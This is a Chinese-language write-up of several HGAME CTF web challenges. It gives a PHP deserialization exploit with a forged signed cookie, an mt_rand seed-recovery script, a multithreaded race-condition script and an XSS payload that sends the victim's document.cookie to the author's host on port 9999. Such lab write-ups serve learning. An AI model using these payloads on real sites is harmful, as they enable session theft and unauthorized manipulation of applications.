目录
第三周
序列之争 – Ordinal Scale
这个题构造的有点巧妙,一共三个类,只有一个有反序列函数,在这个点反序列另一个类才能拿到 flag。
首先打开网页,要输入一个名字,是一个打怪升级的 web 小游戏,应该是名次拿到第一就给 flag。源码提示有 source.zip,直接下载源码,审计即可。(这个 zip 不知道为啥我在 win 上下不下来,用 vps wget 就可以了,不知道出题人怎么设置的。)
<?php
error_reporting(0);
session_start();
class Game{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public $rank;
public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}
class Rank{
private $rank;
private $serverKey; // 服务器的 Key
private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
public function __construct(){
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000));
return;
}
$this->Set($_SESSION['rank']);
}
public function Set($no){
$this->rank = $no;
}
public function Get(){
return $this->rank;
}
public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15);
if($this->rank <= 2){
$this->rank = 2;
}
$_SESSION['exp'] += rand(20, 200);
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
}
class Monster
{
private $monsterData;
private $encryptKey;
public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
$this->Set();
}
public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],
'no' => rand(1, 2000),
);
$this->Save();
}
public function Get(){
return $this->monsterData;
}
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
}
调用的代码:
<?php
error_reporting(0);
include_once('cardinal.php');
if(isset($_SESSION['player'])){
$playerName = $_SESSION['player'];
}else{
$playerName = $_POST['player'] ?? '';
if($playerName === '' || is_array($playerName)){
header('Location: index.php');
exit;
}
}
$game = new Game($playerName);
?>
<?php if($game->rank->Get() === 1){?>
<h2>hgame{flag_is_here}</h2>
<?php }?>
代码比较长,稍微审计一下,发现所谓挑战小怪就是比两个类的 rank,但是如果正常玩的话会强制让 rank 最小值为2,因此无法得到 flag。继续审计,发现有 sprintf 函数,再仔细一看 welcomeMsg 是可控的,可以利用 sprintf 函数把 $encryptKey 的值搞出来,在用户名处直接输入 %s 即可。

得到 $encryptKey 的值为 gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL,因此我们可以按照代码的方法算出 Game 类的 sign,这个 sign 用来初始化 monster 类,在 monster 类中有反序列化函数,反序列之前会检查 sign 是否能通过。因此现在有了 $encryptKey 就可以任意合法反序列化。
目前还有一个问题,就是反序列 monster 类并没有什么卵用,因为在 Rank 类的 Fight 方法规定使用正常方法计算所得的 rank 值无法小于 2,因此继续寻找能改 rank 值的地方。
最后发现 Rank 类中构造函数和析构函数用 session 打了一个组合拳,如果反序列化一个 Rank 类,执行魔术方法 __destruct,覆盖掉 $_SESSION[‘rank’] 的值(使其等于一),因此直接构造 Rank 让 Rank->rank = 1,反序列化之后加上 sign,再 base64 放到 cookie 中即可得到 flag。
<?php
// payload.php
// Author : imagin
$encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$welcomeMsg = '%s, Welcome to Ordinal Scale!';
$sign = '';
$playerName = "%s";
$data = [$playerName, $encryptKey];
foreach($data as $key => $value){
$welcomeMsg = sprintf($welcomeMsg, $value);
$sign .= md5($sign . $value);
}
echo $sign;
echo "<br>".md5("a:2:{s:4:\"name\";s:23:\"BOSS: The Kernal Cosmos\";s:2:\"no\";i:668;}".$sign);
class Rank{
private $rank = 1;
}
echo "<br>".md5("O:4:\"Rank\":1:{s:10:\"\00Rank\00rank\";i:1;}".$sign);
echo "<br>".base64_encode("O:4:\"Rank\":1:{s:10:\"\00Rank\00rank\";i:1;}218d1547ad8383ef37016f637db6c83e");
// payload:
//Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fTIxOGQxNTQ3YWQ4MzgzZWYzNzAxNmY2MzdkYjZjODNl

二发入魂!
这个题目特别坑,打开链接会给一个输入框,输入数字即可输出对应长度的随机数数组。做的时候第一反应就是爆破种子,用 php_mt_seed 爆了几下时间有点长,就改了改这个软件的源码,让他直接从 5.1 版本开始爆破,但是还是要 4s 左右的时间,我寻思可能是我的 7700HQ 已经到了尚能饭否的年纪,于是找 Y1ng 师傅用 i9 跑一下,结果他要十几秒……瞬间对我的电脑产生了自信。
后来 P3rh4ps 师傅告诉了个姿势。这个帖子看了半天也没看懂怎么证明的(wtcl),这里就简单说一下我的理解以及怎么跑脚本吧。
mt_rand() 的输出都是根据种子生成的伪随机数,可以看做通过种子生成一个固定的数组,只要种子确定了就能生成特定的数组。这篇文章的中心思想就是通过间隔227个的两个伪随机数来逆推回种子(可以理解为异或后再异或就可以得到原来的数,具体证明过程请参照上面的链接)。
直接调用作者给的代码, 随便写个脚本就可以得到 flag(注意要带上 cookie 或者用 session 访问)。
# exp.py
# Author : imagin
# make sure the current directory has reverse_mt_rand.py
from requests import *
import os
def execCmd(cmd):
r = os.popen(cmd)
text = r.read()
r.close()
return text
url = "https://twoshot.hgame.n3ko.co/random.php?times=228"
s = session()
a = s.get(url)
l = a.text[1:-1].split(",")
cmd = "python reverse_mt_rand.py " + l[0] + " " + l[227] + " 0 0"
res = execCmd(cmd)
data = {"ans" : int(res[:-1])}
print(data)
r = s.post("https://twoshot.hgame.n3ko.co/verify.php", data)
print(r.text)
运行即可得到 flag。
Cosmos的二手市场
这个题第一反应是注入,但是第一他不接受符号,第二他最大就接受500,用 hex 也没法绕过,一点思路都没有,后来有个师傅提醒是竞争,才勉强做出来。这个题的难点就在于意识到这是个竞争题。
知道是竞争,直接写脚本多线程访问卖东西即可一夜暴富。
# competition.py
# Author : imagin
from requests import *
import threading
header = { "Cookie" : "PHPSESSID=your cookie here!"}
s = session()
data = {"code" : "800001", "amount" : "500"}
def p(s, data, header):
a = s.post("http://121.36.88.65:9999/API/?method=solve", data, headers = header)
print(a.text)
for x in range(15):
t = threading.Thread(target=p, args=(s, data, header))
t.start()

Cosmos的留言板-2
delete_id 那块有注入点,但是不知道为啥输入 1 or 1 会导致网站崩溃,还没做出来。
Cosmos的聊天室2.0
xss 题目,相对于上周的 bypass 大小写,这次是 bypass script 标签。直接双写绕过即可,用 window.open(url) 即可得到 cookie,替换拿 flag 即可。
这题比较迷的点在于我用 iframe 没打出来,能获取到自己的 cookie,但是管理员的死活打不到,看群里也有不少人有这个问题,等官方 wp 出了再看看姿势有什么问题。
payload:
<scscriptript src=http://c-chat-v2.hgame.babelfish.ink/send?
message=window.open('//imagin.vip:9999?t='%2bdocument.cookie);>
</scrscriptipt>
监听 9999 端口即可拿到 cookie

在 /flag 替换 cookie 即可得到 flag。
